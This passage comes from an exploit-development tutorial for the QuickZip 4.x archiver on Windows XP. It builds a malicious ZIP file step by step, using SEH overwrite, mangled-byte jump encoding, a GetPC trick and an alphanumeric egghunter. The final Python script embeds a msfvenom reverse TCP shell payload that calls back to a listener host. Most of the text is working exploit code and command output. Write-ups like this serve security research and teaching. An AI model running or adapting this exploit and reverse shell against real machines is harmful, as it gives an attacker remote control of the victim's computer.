    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check if that worked:

JMP succeded

Great! We were able to leverage the mangling to our favor!

Encoding long jump

Now with 44 bytes to work on, we need to perform a reverse long jump to the start of our buffer. Starting at the point on where we landed after our initial short jump, the bytes needed to jump to the start of our buffer would be E9 02 FF FF FF:

Long jump

As you notice, we can’t inject those bytes because they are mangled…​ Wait! Mangled! If we look at the mangling table above, we can see that we can use the following translations:

  1. 0x820xe9.

  2. 0x02 is allowed.

  3. 0x980xff.

Thus, if we inject the bytes 82 02 98 98 98, QuickZip would translate that to E9 02 FF FF FF! Update our exploit with that:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    b'A' * (298 - 4 - 45) +
    # Jump to the start of our buffer
    # This will be translated to \xe9\x02\xff\xff\xff
    b'\x82\x02\x98\x98\x98' +
    # Fill the rest of our buffer
    b'A' * (45 - 5) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

JMP succeded

Wonderful!

Egghunting

Now we have 248 bytes to work. An unencoded shell will be around 350 bytes.

With that kind of space restriction, what can use an egghunter.

To briefly recap, an egghunter is a small shellcode that will walk the entire memory of the running process looking for a tag (an egg), and when it finds it, it will execute anything that follows.

An egghunter can be created by the egghunter.rb Metasploit tool.

$ msf-egghunter -e flui -f hex
6681caff0f42526a0258cd2e3c055a74efb8666c756989d7af75eaaf75e7ffe7
$ msf-egghunter -e flui -f raw > egg.bin
$

This will create a file called egg.bin with our egghunter, that will hunt for the egg fluiflui (I wanted it to be fluid, but it must be 4*2 bytes long).

As we see, the resulting bytes are not in our allowed list, nor are translated by other bytes, so we must encode it. We can use some of the alphanumeric encoders of msfvenom. I will use x86/alpha_mixed:

$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c'
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 126 (iteration=0)
x86/alpha_mixed chosen with final size 126
Payload size: 126 bytes
�����r�_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJISVnaiZKOfoG2brRJc2V8xMvNwLs50ZSDHo8856PlaeqynizwnOSEYzlocEHgIoYwAA

But, hey, we used an alphanumeric encoder but there are some bytes at the start that are clearly not alphanumeric! Well, those bytes are used by the encoder to get the current absolute position on memory and stores the location on ECX to perform relative calculations. That code is also known as GetPC for Get Program Counter.

However, if we can point a general purpose register (for example, EAX) to where our egghunter will begin, we could use the BufferRegister=EAX option that will eliminate those first bad chars:

$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EAX
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 118 (iteration=0)
x86/alpha_mixed chosen with final size 118
Payload size: 118 bytes
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrBJs2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA

Great! But, how can we do that?

Getting Program Counter (EIP)

We have performed two jumps. The first one was a short jump that pointed to the second long jump, that led us in turn to the start of our buffer. When a jump is performed, EIP register holds the address to the place the jump is pointing to. So, after the second jump EIP is pointing to the start of our buffer. As we instructed the encoder to find the egghunter on EAX, we must make EAX = EIP. However, you just can’t do something like mov eax,eip.

To do that, we can use the way the call instruction works: A call is like a jmp, except that it will push the next instruction to be executed on the stack, also called saved return address or saved EIP. So if our call points to a place where a pop eax will be, EAX will pop back that value off of the stack and will get the value of EIP!

The following code will do the trick:

0012FAD6   /EB 04           JMP SHORT 0012FADC
0012FAD8   |41              INC ECX
0012FAD9   |58              POP EAX
0012FADA   |EB 05           JMP SHORT 0012FAE1
0012FADC   \E8 F7FFFFFF     CALL 0012FAD8
0012FAE1    41              INC ECX

And works like this:

  1. 0012FAD6 is the place where our second jump lands.

  2. That instruction will jump to 0012FADC where a call is located.

  3. When the call is executed, it will push to the stack a pointer to the next instruction, in our example 0012FAE1.

  4. That call instruction will jump to 0012FAD8 which is added for padding.

  5. Then pop eax is executed. That would pop back off of the stack 0012FAE1 and stores it on EAX.

  6. Finally, the JMP SHORT 0012FAE1 is executed that will jump to 0012FAE1.

  7. In 0012FAE1 we will put the first byte of our encoded egghunter.

Let’s update our exploit. We must encode that instructions using the mangling table:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

FILENAME = (
    # Translates to \xeb\x04: JMP SHORT +0x6
    b'\x89\x04' +
    # Padding
    b'\x41' +
    # POP EAX
    b'\x58' +
    # Translates to \xeb\x05: JMP SHORT +0x7
    b'\x89\x05' +
    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
    b'\x8a\xf6\x98\x98\x98' +
    b'A' * (298 - 4 - 45 - 11) +
    # Jump to the start of our buffer
    # This will be translated to \xe9\x02\xff\xff\xff
    b'\x82\x02\x98\x98\x98' +
    # Fill the rest of our buffer
    b'A' * (45 - 5) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

Notice that the needed bytes can be obtained using our mangle table again! Let’s check it. If everything comes as expected, EAX should have a pointer to the instruction below the CALL:

Getting EIP

Isn’t it beautiful? Now we can just inject our encoded egghunter right after the call instruction:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

EGGHUNTER = (
    b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
    b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)

FILENAME = (
    # Translates to \xeb\x04: JMP SHORT +0x6
    b'\x89\x04' +
    # Padding
    b'\x41' +
    # POP EAX
    b'\x58' +
    # Translates to \xeb\x05: JMP SHORT +0x7
    b'\x89\x05' +
    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
    b'\x8a\xf6\x98\x98\x98' +
    EGGHUNTER +
    b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
    # Jump to the start of our buffer
    # This will be translated to \xe9\x02\xff\xff\xff
    b'\x82\x02\x98\x98\x98' +
    # Fill the rest of our buffer
    b'A' * (45 - 5) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 1698
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

Decoding EggHunter

It worked!

Injecting shellcode

Everything’s working right now. Except that we need a shellcode and we have no place to inject it.

But remember that our egghunter will look the entire process memory for the tag fluiflui, will point EDI register there, and execute anything that follows.

Also, remember that on our payload it was included some C bytes that were chopped off from our injected buffer. But maybe there is a region in memory where that buffer was kept. Let’s check it:

Heap memory

Indeed! It was kept in heap memory. Our egghunter should now be able to reach it. Let’s create an encoded reverse shell:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -e x86/alpha_mixed -f raw -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EDI
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIWM2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgqn6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshglC1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpwpsFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSpv0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQiojumUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKMQvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oyYp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54EmkaW232R2OSZs00SkO9EAA

Notice that we used BufferRegister=EDI because the egghunter will point that register at the very beggining of our shellcode. We can update our exploit now. Remember to add the fluiflui tag, so our egghunter can reach it:

#!/usr/bin/env python3
"""
QuickZip 4.x exploit.

Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/web/blog/quickzip-exploit/
"""
import struct

EGGHUNTER = (
    b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'
    b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA'
)

SHELL = (
    b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9'
    b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW'
    b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq'
    b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl'
    b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw'
    b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp'
    b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju'
    b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM'
    b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy'
    b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E'
    b'mkaW232R2OSZs00SkO9EAA'
)

FILENAME = (
    # Translates to \xeb\x04: JMP SHORT +0x6
    b'\x89\x04' +
    # Padding
    b'\x41' +
    # POP EAX
    b'\x58' +
    # Translates to \xeb\x05: JMP SHORT +0x7
    b'\x89\x05' +
    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7
    b'\x8a\xf6\x98\x98\x98' +
    EGGHUNTER +
    b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +
    # Jump to the start of our buffer
    # This will be translated to \xe9\x02\xff\xff\xff
    b'\x82\x02\x98\x98\x98' +
    # Fill the rest of our buffer
    b'A' * (45 - 5) +
    # This will be translated to \xeb\xd1 -> 44 bytes backwards
    b'\x89\xa5' +
    # To fill the rest of the nSEH field
    b'A' * 2 +
    # 00524478   .  59            POP ECX
    # 00524479   .  5D            POP EBP
    # 0052447A   .  C2 0400       RETN 4
    struct.pack('<L', 0x00524478) +
    b'C' * 16 +
    b'fluiflui' +
    SHELL
)

LOCAL_FILE_HEADER = (
    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00'
)

CENTRAL_DIRECTORY_HEADER = (
    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
    # Filename size
    struct.pack('<H', len(FILENAME)) +
    b'\x00\x00\x00\x00' +
    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)

END_OF_CENTRAL_DIRECTORY = (
    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
    # Size of central directory
    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
    # Offset of start of central directory, relative to start of archive
    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
    b'\x00\x00'
)

ZIP_FILE = (
    LOCAL_FILE_HEADER +
    FILENAME +
    CENTRAL_DIRECTORY_HEADER +
    FILENAME +
    END_OF_CENTRAL_DIRECTORY
)

with open('exploit.zip', 'wb') as fd:
    fd.write(ZIP_FILE)

And check it:

Egghunter

Yes! Our egghunter found the fluiflui tag and the shellcode next to it. We should now be able to get a shell. Let’s check:

Success

We got a shell!

You can download the final exploit here

Conclusion

This exploit was fun. We used the mangling performed by the application to our advantage. Working with the current environment will give you tools to think out of the box and obtain the desired results.

Copyright © 2020 Fluid Attacks, We hack your software. All rights reserved.

Service status - Terms of Use - Privacy Policy - Cookie Policy